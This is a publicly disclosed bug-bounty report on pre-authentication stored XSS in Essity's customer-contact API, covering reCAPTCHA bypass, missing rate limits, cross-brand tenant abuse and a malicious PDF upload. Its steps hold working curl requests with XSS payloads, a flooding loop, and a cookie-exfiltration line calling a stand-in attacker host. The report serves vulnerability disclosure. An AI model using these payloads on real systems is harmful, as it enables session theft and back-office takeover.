HexBrain

Essity · Report #3729501

Pre-authentication Stored XSS in Essity Customer-Service Pipeline via ContactApi (reCAPTCHA bypass + no rate limit)

Validstatus
criticalseverity
48upvotes
27 Aug 2026disclosed

How it was found

Summary

The Essity customer contact API (ContactApi.SavePersonalContactExtended and SaveProductContactExtended) accepts unauthenticated ticket submissions with arbitrary HTML/JavaScript in 12+ fields, bypassing reCAPTCHA validation, CSRF protection, and rate limiting. When customer-service operators view these tickets in the Umbraco back-office, the stored XSS executes in their authenticated session, enabling account takeover, code execution, and cross-tenant attacks against sibling Essity brands.

Target Endpoints

  • POST https://████████/Umbraco/Api/ContactApi/SavePersonalContactExtended/
  • POST https://████████/Umbraco/Api/ContactApi/SaveProductContactExtended/
  • POST https://████████/Umbraco/Api/ContactApi/SaveAttachment

Reachable on all in-scope locale paths: /at, /bg, /cz, /de, /ee, /gr, /hr, /hu, /lt, /lv, /ro, /rs, /ru, /ua, and root https://zewa.net/.

Stacked Vulnerabilities

#ControlStatus
1reCAPTCHA v2 verificationServer accepts empty ReCaptcha= parameter; validation is client-side only
2CSRF tokenNone present; endpoint accepts requests with zero cookies
3Origin/Referer checkNone; Access-Control-Allow-Origin: * permits cross-origin attacks
4Input sanitizationNone; <script>, <img onerror>, <svg onload>, javascript: URIs accepted in all text fields
5Email validationBroken; "<script>alert(1)</script>"@a.com accepted
6Rate limitingNone; 8 tickets submitted in 2 seconds, all successful
7SiteId authorizationNot enforced; any tenant ID accepted, enabling cross-brand attacks
8Attachment authorizationNot enforced; unauthenticated uploads immediately referenceable in tickets

Steps To Reproduce

Step 1: Stage malicious attachment (no authentication required)

# Create PDF with JavaScript payload
printf '%PDF-1.3\n1 0 obj\n<< /OpenAction << /JS (app.alert(1)) >> >>\nendobj\ntrailer << /Root 1 0 R >>\n%%EOF\n' > /tmp/jsx.pdf

curl -sk \
  -H 'User-Agent: Mozilla/5.0' \
  -H 'X-HackerOne-Research: matty69v' \
  -e 'https://████████/de/kontakt/' \
  -F 'file=@/tmp/jsx.pdf;type=application/pdf' \
  'https://████████/Umbraco/Api/ContactApi/SaveAttachment'

Response:

["3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf"]

Step 2: Create malicious ticket with stored XSS payload

curl -sk \
  -H 'User-Agent: Mozilla/5.0' \
  -H 'X-HackerOne-Research: matty69v' \
  -e 'https://████████/de/kontakt/' \
  -X POST 'https://████████/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  --data-urlencode 'SiteId=1896' \
  --data-urlencode 'CultureId=1031' \
  --data-urlencode 'ContactReason=Query' \
  --data-urlencode 'Title=Mr' \
  --data-urlencode 'FirstName=<img src=x onerror="alert(document.domain)">' \
  --data-urlencode 'LastName=<svg/onload=alert(document.domain)>' \
  --data-urlencode 'Email="<script>alert(1)</script>"@example.com' \
  --data-urlencode 'CompareEmail="<script>alert(1)</script>"@example.com' \
  --data-urlencode 'Address=<a href="javascript:alert(1)">Click</a>' \
  --data-urlencode 'PostalCode=00000' \
  --data-urlencode 'City=<iframe src=javascript:alert(1)>' \
  --data-urlencode 'Country=DE' \
  --data-urlencode 'Message=<script>alert("XSS in Message field")</script>' \
  --data-urlencode 'ContactMethods[0]=Email' \
  --data-urlencode 'Phone=<img src=x onerror=alert(1)>' \
  --data-urlencode 'Question=<svg onload=alert(2)>' \
  --data-urlencode 'ProductConcerned=<b>test</b>' \
  --data-urlencode 'CoreCode=Z' \
  --data-urlencode 'Store=<u>store</u>' \
  --data-urlencode 'ReCaptcha=' \
  --data-urlencode 'AttachmentFilename[0]=3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf' \
  --data-urlencode "PageUrl=javascript:alert('pageurl')" \
  --data-urlencode 'Referrer=https://example.com/' \
  --data-urlencode 'SourceTags=<x>' \
  --data-urlencode 'UserAgent=<x onerror=alert(ua)>' \
  --data-urlencode 'ProvidedConsumerConsents[0][Id]=5' \
  --data-urlencode 'ProvidedConsumerConsents[0][IsChecked]=true' \
  --data-urlencode 'ProvidedConsumerConsents[0][IsNewsletter]=true'

Response:

{"success":true,"message":"","log":null,"redirect":false,"redirectUrl":null}

Step 3: Trigger execution

When a customer-service operator logs into the Umbraco back-office and opens the ticket for review, the JavaScript in any of the 12 injected fields executes in their authenticated session.

Step 4: Verify no rate limiting

Eight consecutive submissions with empty ReCaptcha= from a single IP, all within 2 seconds:

for i in {1..8}; do
  curl -sk -X POST 'https://████████/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    -H 'X-HackerOne-Research: matty69v' \
    --data-urlencode "FirstName=ratepoc-$i" \
    --data-urlencode 'LastName=Test' \
    --data-urlencode '[email protected]' \
    --data-urlencode '[email protected]' \
    --data-urlencode 'SiteId=1896' \
    --data-urlencode 'CultureId=1031' \
    --data-urlencode 'ContactReason=Query' \
    --data-urlencode 'ReCaptcha='
done

All 8 requests returned {"success":true}.

Cross-Tenant Pivot

The SiteId parameter accepts any valid tenant ID without authorization checks. Testing confirmed tickets can be submitted to sibling Essity brands:

# Enumerate tenant IDs via CountryPicker IDOR
curl -sk 'https://████████/umbraco/Surface/CountryPickerSurface/CountryModal?siteId=1901'

Response reveals multiple brands:

  • https://████████
  • https://www.████████
  • https://www.████████
  • https://www.████████
  • https://www.████████
  • https://www.████████

An attacker targeting only ████████ can inject XSS into the customer-service back-office of any sibling brand by changing the SiteId parameter.

Technical Details

Stack: ASP.NET Core MVC + Umbraco CMS (build hash 639140017071417623), Cloudflare CDN (no bot challenge on this path)

Why existing controls fail:

  • reCAPTCHA token is collected client-side but never validated server-side
  • Honeypot field contact_me_by_fax_only=1 is documented in public JS; bots already include it
  • Cloudflare is configured for CDN, not bot management; 30+ requests from one IP triggered no challenge

Vulnerable fields (12 total): FirstName, LastName, Email, CompareEmail, Address, City, Country, Message, Phone, Question, ProductConcerned, CoreCode, Store, PageUrl, Referrer, SourceTags, UserAgent

Supporting Material/References

  • PoC scripts demonstrating the full attack chain
  • Evidence of 8/8 successful submissions bypassing reCAPTCHA
  • Cross-tenant SiteId enumeration results
  • Malicious PDF upload bypassing file validation

Impact

Back-Office Account Takeover

When an operator opens a malicious ticket in the Umbraco back-office, the stored XSS executes with their privileges (typically Editor, Writer, Translator, or Administrator roles). The attacker can:

  1. Exfiltrate session credentials: Steal cookies, anti-XSRF tokens via fetch('https://attacker.tld/?c='+document.cookie)
  2. Create administrator accounts: Call /umbraco/management/api/v1/... or /umbraco/backoffice/UmbracoApi/... endpoints in the operator's context
  3. Install malicious packages: Upload and execute Umbraco packages containing server-side code, achieving RCE on the CMS host serving 14+ brand sites
  4. Modify content: Alter published pages, member data, or site configuration

The operator dependency is not a meaningful barrier—reviewing inbound customer messages is the operator's primary job function, guaranteeing payload execution.

Mass Ticket Injection from Any Browser

Access-Control-Allow-Origin: * combined with no cookie requirement enables drive-by attacks:

  • Malicious ad or compromised page can submit tickets from every visitor's browser
  • Attacker's IP is invisible (requests originate from legitimate visitors)
  • No rate limiting allows flooding the ticket queue in minutes

Phishing Pipeline to Internal Staff

The attachment chain delivers attacker-controlled files into the operator's workflow:

  • Malicious PDFs with JavaScript OpenAction execute when opened in Acrobat
  • Office documents with macros run code on internal workstations
  • ZIP archives containing LNK/EXE payloads for lateral movement

File validation checks magic bytes for images but accepts PDF/DOCX/ZIP by extension only, confirmed with PoC PDF containing app.alert(1).

Cross-Brand Attack Surface

A single attacker targeting ████████ can inject XSS into customer-service systems for multiple Essity brands (Lotus, Cushelle, Colhogar, Edet, papelregio) by manipulating the SiteId parameter. This creates:

  • Operational disruption across multiple brand support teams
  • Reputational damage spanning the entire Essity portfolio
  • Investigation complexity when malicious tickets appear to originate from legitimate brand domains

GDPR Article 32 Breach

Marketing consent flags (ProvidedConsumerConsents[i][IsChecked]) are accepted server-side with no verification. Attackers can:

  • Create subscriptions in victims' names without consent
  • Prevent Essity from demonstrating valid consent under Article 7
  • Trigger data protection liability for every persisted fake subscription

Severity Justification

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L → 9.0 Critical

  • Attack Vector: Network - Remotely exploitable from any internet connection
  • Attack Complexity: Low - No special preparation beyond standard HTTP requests
  • Privileges Required: None - Completely unauthenticated
  • User Interaction: Required - Operator must open the ticket (guaranteed by job function)
  • Scope: Changed - XSS executes in privileged back-office context, different from anonymous submission context
  • Confidentiality: High - Access to operator session, customer PII, internal CRM data
  • Integrity: High - Ability to modify CMS content, create accounts, install code
  • Availability: Low - Ticket flood can disrupt support operations but not destroy the platform

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original